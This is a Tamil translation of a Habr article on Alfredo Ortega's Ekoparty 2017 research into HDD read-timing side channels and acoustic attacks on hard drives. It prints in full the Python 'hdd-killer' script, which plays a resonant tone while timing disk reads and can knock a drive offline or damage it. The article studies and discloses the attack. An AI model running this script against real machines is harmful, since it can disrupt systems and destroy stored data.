உங்கள் HDD இல் நீங்கள் ஏன் கத்தக்கூடாது

உங்கள் HDD இல் நீங்கள் ஏன் கத்தக்கூடாது

ப்யூனஸ் அயர்ஸில் நடந்த Ekoparty 2017 கணினி பாதுகாப்பு மாநாட்டில், அர்ஜென்டினா ஹேக்கர் ஆல்ஃபிரடோ ஒர்டேகா மிகவும் சுவாரஸ்யமான வளர்ச்சியைக் காட்டினார் - மைக்ரோஃபோனைப் பயன்படுத்தாமல் வளாகத்தை இரகசியமாக ஒட்டுக்கேட்பதற்கான அமைப்பு. ஒலி நேரடியாக வன்வட்டில் பதிவு செய்யப்பட்டது!

HDD முக்கியமாக உயர்-தீவிர குறைந்த அதிர்வெண் ஒலிகள், அடிச்சுவடுகள் மற்றும் பிற அதிர்வுகளை எடுக்கும். விஞ்ஞானிகளால் மனித பேச்சு இன்னும் அங்கீகரிக்கப்படவில்லை இந்த திசையில் ஆய்வு நடத்தி வருகின்றனர் (குறைந்த அதிர்வெண் அதிர்வுகளால் பேச்சு அங்கீகாரம், அவை பதிவு செய்யப்படுகின்றன, எடுத்துக்காட்டாக, கைரோஸ்கோப் அல்லது HDD இலிருந்து).

ஒலி என்பது காற்று அல்லது வேறு ஊடகத்தின் அதிர்வு. ஒரு நபர் செவிப்பறை மூலம் அவற்றை உணர்கிறார், இது உள் காதுக்கு அதிர்வுகளை கடத்துகிறது. மைக்ரோஃபோன் தோராயமாக ஒரு காது போல வடிவமைக்கப்பட்டுள்ளது - இங்கேயும், அதிர்வுகள் ஒரு மெல்லிய சவ்வு மூலம் பதிவு செய்யப்படுகின்றன, இது மின் தூண்டுதலைத் தூண்டுகிறது. வன், நிச்சயமாக, சுற்றியுள்ள காற்றில் ஏற்ற இறக்கங்கள் காரணமாக நுண்ணிய அதிர்வுகளுக்கு உட்பட்டது. HDD களின் தொழில்நுட்ப சிறப்பியல்புகளிலிருந்தும் இது அறியப்படுகிறது: உற்பத்தியாளர்கள் வழக்கமாக அதிகபட்சமாக அனுமதிக்கக்கூடிய அதிர்வு அளவைக் குறிப்பிடுகின்றனர், மேலும் ஹார்ட் டிரைவ் அதை ரப்பர் அல்லது பிற இன்சுலேடிங் பொருட்களால் செய்யப்பட்ட அதிர்வு-ஆதார கொள்கலனில் வைக்க முயற்சிக்கிறது. இதிலிருந்து HDD ஐப் பயன்படுத்தி ஒலிகளைப் பதிவு செய்ய முடியும் என்று முடிவு செய்வது எளிது. எப்படி என்பதைக் கண்டுபிடிப்பது மட்டுமே எஞ்சியுள்ளது.

ஆல்ஃபிரடோ ஒர்டேகா ஒரு பக்க-சேனல் தாக்குதலின் தனித்துவமான பதிப்பை முன்மொழிந்தார், அதாவது நேர தாக்குதல். கொடுக்கப்பட்ட உள்ளீட்டுத் தரவைப் பொறுத்து வெவ்வேறு நேரங்களில் சாதனத்தில் வெவ்வேறு செயல்பாடுகள் செய்யப்படுகின்றன என்ற அனுமானத்தின் அடிப்படையில் இந்தத் தாக்குதல் நடத்தப்படுகிறது. இந்த வழக்கில், "உள்ளீடு தரவு" என்பது வாசிப்பு தலை மற்றும் HDD தட்டுகளின் அதிர்வுகளாகும், இது சுற்றுச்சூழலின் அதிர்வுகளுடன், அதாவது ஒலியுடன் தொடர்புபடுத்துகிறது. எனவே, கணக்கீட்டு நேரத்தை அளவிடுவதன் மூலமும், தரவுகளின் புள்ளிவிவர பகுப்பாய்வு செய்வதன் மூலமும், தலை / தட்டின் அதிர்வுகள் மற்றும் ஊடகத்தின் அதிர்வுகளை அளவிட முடியும். தரவைப் படிப்பதில் தாமதம் ஏற்படுவதால், HDD அதிர்வுகள் வலுவாக இருக்கும், எனவே சத்தம் அதிகமாகும்.

ஹார்ட் டிரைவ் அதிர்வுகளை எவ்வாறு அளவிடுவது? மிகவும் எளிமையானது: கணினி அழைப்பை இயக்கவும் read () - மற்றும் முடிக்க எடுக்கும் நேரத்தை பதிவு செய்யவும். நவீன இயக்க முறைமைகள் கணினி அழைப்புகளின் நேரத்தை நானோ வினாடி துல்லியத்துடன் படிக்க உங்களை அனுமதிக்கின்றன.

ஒரு துறையிலிருந்து தகவல்களைப் படிக்கும் வேகம் ஹெச்டிடி கேஸின் அதிர்வுகளுடன் தொடர்புடைய தலை மற்றும் தட்டுகளின் நிலையைப் பொறுத்தது. அவ்வளவுதான்.

புள்ளிவிவர பகுப்பாய்வு ஒரு எளிய Kscope பயன்பாட்டைப் பயன்படுத்தி மேற்கொள்ளப்படுகிறது. அவர்கள் சொல்வது போல், புத்திசாலித்தனமான அனைத்தும் எளிமையானவை.

உங்கள் HDD இல் நீங்கள் ஏன் கத்தக்கூடாது
Kscope பயன்பாடு (stat() syscall)

கேஸ்கோப் என்பது சிஸ்டம் கால் எக்ஸிகியூஷன் நேரங்களில் உள்ள சிறிய வேறுபாடுகளைக் காட்சிப்படுத்துவதற்கான ஒரு சிறிய பயன்பாடாகும். ஆதாரம்GitHub இல் опубликован.

ஒரு தனி களஞ்சியத்தில் HDD-நேரம் ஹார்ட் டிரைவில் நேர தாக்குதலுக்காக கட்டமைக்கப்பட்ட பயன்பாட்டின் பதிப்பு உள்ளது, அதாவது கணினி அழைப்பை பகுப்பாய்வு செய்ய கட்டமைக்கப்பட்டுள்ளது read ().

HDD ஐப் பயன்படுத்தி ஒலிப்பதிவு செய்தல், Kscope பயன்பாட்டின் செயல்பாடு

வீடியோவை இயக்கு

நிச்சயமாக, பேச்சை இந்த வழியில் புரிந்து கொள்ள முடியாது, ஆனால் HDD அதிர்வு சென்சாராக மிகவும் பொருத்தமானது. எடுத்துக்காட்டாக, கடினமான காலணிகள் அல்லது வெறுங்காலுடன் ஒரு நபர் கணினியுடன் அறைக்குள் நுழைந்தால் நீங்கள் பதிவு செய்யலாம் (அநேகமாக, தாக்குபவர் மென்மையான ஸ்னீக்கர்களை அணிந்திருந்தால் அல்லது தரையில் தடிமனான கார்பெட் இருந்தால், HDD அதிர்வுகளை பதிவு செய்ய முடியாது - இது சரிபார்க்கத்தக்கது). கணினி உடைந்த கண்ணாடி அல்லது பிற சம்பவங்களை வலுவான ஒலி தீவிரத்துடன் பதிவு செய்ய முடியும். அதாவது, ஹார்ட் டிரைவ் ஒரு வகையான அங்கீகரிக்கப்படாத ஊடுருவல் கண்டறிதல் அமைப்பாக செயல்படும்.

HDD கொலையாளி

மேலும், ஹார்டு டிரைவ்களை செயலிழக்கச் செய்வதற்கும் இதே போன்ற ஒரு நுட்பத்தைப் பயன்படுத்தலாம். இருப்பினும், இங்கே நாம் HDD-இலிருந்து வரும் அதிர்வுகளைப் பிடிப்பதில்லை, மாறாக HDD-க்கு அளிக்கப்படும் அதிர்வுகளை உருவாக்குகிறோம். HDD-இன் அதிர்வெண்ணுடன் ஒத்த அதிர்வெண்ணில் ஒரு ஸ்பீக்கரிலிருந்து நீங்கள் ஆடியோவை இயக்கினால், சிஸ்டம் விரைவில் ஒரு I/O பிழையுடன் (கர்னல்) அந்தச் சாதனத்தை அணைத்துவிடும். Linux (இது 120 வினாடிகளுக்குப் பிறகு HDD-ஐ முழுவதுமாக அணைத்துவிடும்.) ஹார்டு டிரைவ் சரிசெய்ய முடியாதபடி சேதமடைந்திருக்கலாம்.

உங்கள் HDD இல் நீங்கள் ஏன் கத்தக்கூடாது
மைய Linux Edifier r19u USB ஸ்பீக்கர் வழியாக, அதிர்வு அதிர்வெண்ணில் 120 வினாடிகள் ஒலி ஒலித்த பிறகு ஹார்டு டிரைவ் அணைந்துவிட்டது. அதிர்வுகளைப் பெருக்குவதற்காக, ஸ்பீக்கர் அதன் திறனில் சுமார் கால் பங்கில் (100 mW-க்கும் குறைவாக) இயக்கப்பட்டு, HDD-யிலிருந்து 20 செ.மீ தொலைவில் மேசையை நோக்கி வைக்கப்பட்டிருந்தது. காணொளி HDD கொலையாளியின் ஆர்ப்பாட்டத்துடன்

HDD களில் இத்தகைய "தாக்குதல்கள்" சில நேரங்களில் அன்றாட வாழ்க்கையில் முற்றிலும் தற்செயலாக நிகழ்கின்றன என்பது ஆர்வமாக உள்ளது. எடுத்துக்காட்டாக, செப்டம்பர் 2016 இல், தீயணைப்புப் பயிற்சிக்குப் பிறகு 10 மணிநேரங்களுக்கு ஐஎன்ஜி வங்கியின் தரவு மையம் செயல்பாடுகளை நிறுத்த வேண்டிய கட்டாயம் ஏற்பட்டது. டஜன் கணக்கான ஹார்டு டிரைவ்கள் தோல்வியடைந்தன அதிக அழுத்தத்தின் கீழ் சிலிண்டர்களில் இருந்து வெளிவரும் மந்த வாயுவின் உரத்த ஒலி காரணமாக. ஒலி மிகவும் சத்தமாக இருந்தது (130 dB க்கு மேல்), ஆனால் நீங்கள் ஹார்ட் டிரைவ்களில் கூட கத்த முடியாது - இது HDD ஐ அணுகுவதில் தாமதத்தை அதிகரிக்கிறது.

தரவு மையத்தில் ஹார்ட் டிரைவ்களில் மனித கத்தலின் ஆர்ப்பாட்டம். தாமத அளவீடு

வீடியோவை இயக்கு

எதிரொலிக்கும் ஒலியை உருவாக்க, ஆல்ஃபிரடோ ஒர்டேகா பைதான் ஸ்கிரிப்டை எழுதினார் hdd-கொலையாளி (வீடியோ ஆர்ப்பாட்டம்).

HDD கொலையாளி ஸ்கிரிப்ட் இது மிகவும் சிறியது, எனவே நீங்கள் அதை முழுமையாக இங்கே வெளியிடலாம்.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

ஆதாரம்: www.habr.com

DDoS பாதுகாப்பு, VPS VDS சர்வர்கள் கொண்ட தளங்களுக்கு நம்பகமான ஹோஸ்டிங் வாங்கவும் 🔥 DDoS பாதுகாப்புடன் கூடிய நம்பகமான இணையதள ஹோஸ்டிங், VPS, VDS சர்வர்களை வாங்குங்கள் | ProHoster